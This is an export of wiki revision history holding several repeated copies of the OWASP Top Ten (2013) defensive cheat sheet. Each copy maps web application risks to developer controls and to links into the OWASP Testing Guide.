|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231992OWASP Top Ten Cheat Sheet2017-08-02T23:26:38Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''<br />
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''<br />
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''<br />
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''<br />
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''<br />
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''<br />
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''<br />
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''<br />
<br />
|-<br />
|'''A6 Sensitive Data Exposure'''<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Use TLS 1.2 or later for all web communications.<br />
*Buy extended validation (EV) certificates for public web servers.<br />
<br />
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''<br />
<br />
''Render:''<br />
*Do not send keys or hashes to the browser.<br />
<br />
||''Design:''<br />
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).<br />
*Use strong hashes (SHA 256 or better) with salts for passwords.<br />
*Protect keys more than any other asset.<br />
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.<br />
<br />
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''<br />
<br />
''Tip: It is best to encrypt data on the application server, rather than the database server.''<br />
<br />
||''Design:''<br />
<br />
*Mandate strong encrypted communications with application servers and any other servers or administrative users.<br />
<br />
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being "encrypted" on disk. ''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''<br />
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
<br />
|-<br />
|'''A7 Missing Function Level Access Control'''<br />
||''Design:''<br />
*Ensure all non-web data is outside the web root (logs, configuration, etc).<br />
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.<br />
*Ensure every page requires a role, even if it is "guest".<br />
<br />
''Pre-render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to view secured URL.<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
||<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform secured action.<br />
*Validate CSRF token.<br />
<br />
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''<br />
<br />
''Tip: Assume attackers '''will''' learn where "hidden" directories and "random" filenames are, so do not store these files in the web root, even if they are not directly linked.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
<br />
|-<br />
|'''A8 Cross Site Request Forgery'''<br />
||''Pre-render:''<br />
*Validate user is authenticated<br />
*Validate role is sufficient for this view<br />
<br />
''Render:''<br />
*Send CSRF token.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
||<br />
*Validate CSRF token.<br />
*Validate role is sufficient to perform this action.<br />
*Validate role is sufficient.<br />
<br />
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
||<br />
* [[Testing for CSRF (OTG-SESS-005)]]<br />
<br />
|-<br />
|'''A9 Using Components with Known Vulnerabilities'''<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
<br />
<br />
||<br />
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]<br />
|-<br />
<br />
|-<br />
|'''A10 Unvalidated Redirects and Forwards'''<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
''Render:''<br />
*Use random indirect object references for redirection parameters.<br />
<br />
||<br />
*Design the app without URL redirection parameters.<br />
<br />
or<br />
<br />
*Obtain direct redirection parameter from random indirect reference access map.<br />
*(LR) Positive validation of redirection parameter.<br />
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.<br />
<br />
||<br />
*Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]<br />
<br />
|-<br />
|}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Andrew van der Stock vanderaj[at]owasp.org<br />
<br />
Ismael Rocha Gonçalves ismaelrg[at]gmail.com<br />
<br />
Jorge Correa jacorream@gmail.com<br />
<br />
= Other Cheatsheets =<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&diff=231991OWASP Top Ten Cheat Sheet2017-08-02T23:25:11Z<p>Dan Wallis: </p>
<hr />
<div> __NOTOC__<br />
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br />
<br />
= Introduction =<br />
__TOC__{{TOC hidden}}<br />
<br />
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.<br />
<br />
= OWASP Top Ten Cheat Sheet =<br />
<br />
{| border=1<br />
| <br />
||'''Presentation'''<br />
||'''Controller'''<br />
||'''Model'''<br />
||'''Testing (OWASP Testing Guide V4)'''<br />
<br />
|-<br />
|'''A1 Injection'''<br />
||<br />
<br />
''Render:''<br />
*Set a correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation.<br />
(LR) Sanitize input.<br />
<br />
''Tip: updating a negative list (such as looking for "script", "sCrIpT", "ßCrîpt", etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of "bad" words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''<br />
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''<br />
<br />
*Object relational model (Hibernate).<br />
*Active Record design pattern.<br />
*Stored procedures.<br />
<br />
*Escape mechanisms such as ESAPI's Encoder:<br />
**EncodeForLDAP()<br />
**Encoder.EncodeforOS()<br />
<br />
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''<br />
<br />
||<br />
* [[Testing for SQL Injection (OTG-INPVAL-005)]]<br />
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]<br />
* [[Testing for ORM Injection (OTG-INPVAL-007)]]<br />
* [[Testing for XML Injection (OTG-INPVAL-008)]]<br />
* [[Testing for SSI Injection (OTG-INPVAL-009)]]<br />
* [[Testing for XPath Injection (OTG-INPVAL-010)]]<br />
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]<br />
* [[Testing for Code Injection (OTG-INPVAL-012)]]<br />
* [[Testing for Command Injection (OTG-INPVAL-013)]]<br />
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]<br />
<br />
|-<br />
|'''A2 Weak authentication and session management'''<br />
||''Render:''<br />
*Validate user is authenticated.<br />
*Validate role is sufficient for this view.<br />
*Set "secure" and "HttpOnly" flags for session cookies.<br />
*Send CSRF token with forms.<br />
<br />
||''Design:''<br />
*Only use inbuilt session management.<br />
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.<br />
<br />
*Validate user is authenticated.<br />
*Validate role is sufficient to perform this action.<br />
*Validate CSRF token.<br />
||Validate role is sufficient to create, read, update, or delete data<br />
<br />
''Tip: Consider the use of a "governor" to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''<br />
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''<br />
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''<br />
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''<br />
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''<br />
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''<br />
<br />
|-<br />
|'''A3 XSS'''<br />
||<br />
<br />
''Render:''<br />
*Set correct content type<br />
*Set safe character set (UTF-8)<br />
*Set correct locale<br />
*Output encode all user data as per output context<br />
*Set input constraints<br />
<br />
''On Submit:''<br />
*Enforce input field type and lengths.<br />
*Validate fields and provide feedback.<br />
*Ensure option selects and radio contain only sent values.<br />
||'''Canonicalize using correct character set'''<br />
'''Positive input validation using correct character set'''<br />
<br />
(NR) Negative input validation <br />
(LR) Sanitize input <br />
<br />
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''<br />
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''<br />
<br />
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''<br />
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''<br />
<br />
|-<br />
|'''A4 Insecure Direct Object References'''<br />
||If data is from internal trusted sources, no data is sent.<br />
<br />
Or<br />
<br />
''Render:''<br />
*Send indirect random access reference map value.<br />
||Obtain data from internal, trusted sources.<br />
<br />
Or<br />
<br />
Obtain direct value from random access reference access map.<br />
||Validate role is sufficient to create, read, update, or delete data.<br />
<br />
||<br />
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''<br />
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''<br />
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''<br />
<br />
|-<br />
|'''A5 Security Misconfiguration'''<br />
||Ensure web servers and application servers are hardened.<br />
<br />
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension <br />
||Ensure web servers and application servers are hardened <br />
<br />
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. <br />
||Ensure database servers are hardened <br />
<br />
||<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''<br />
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''<br />
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''<br />
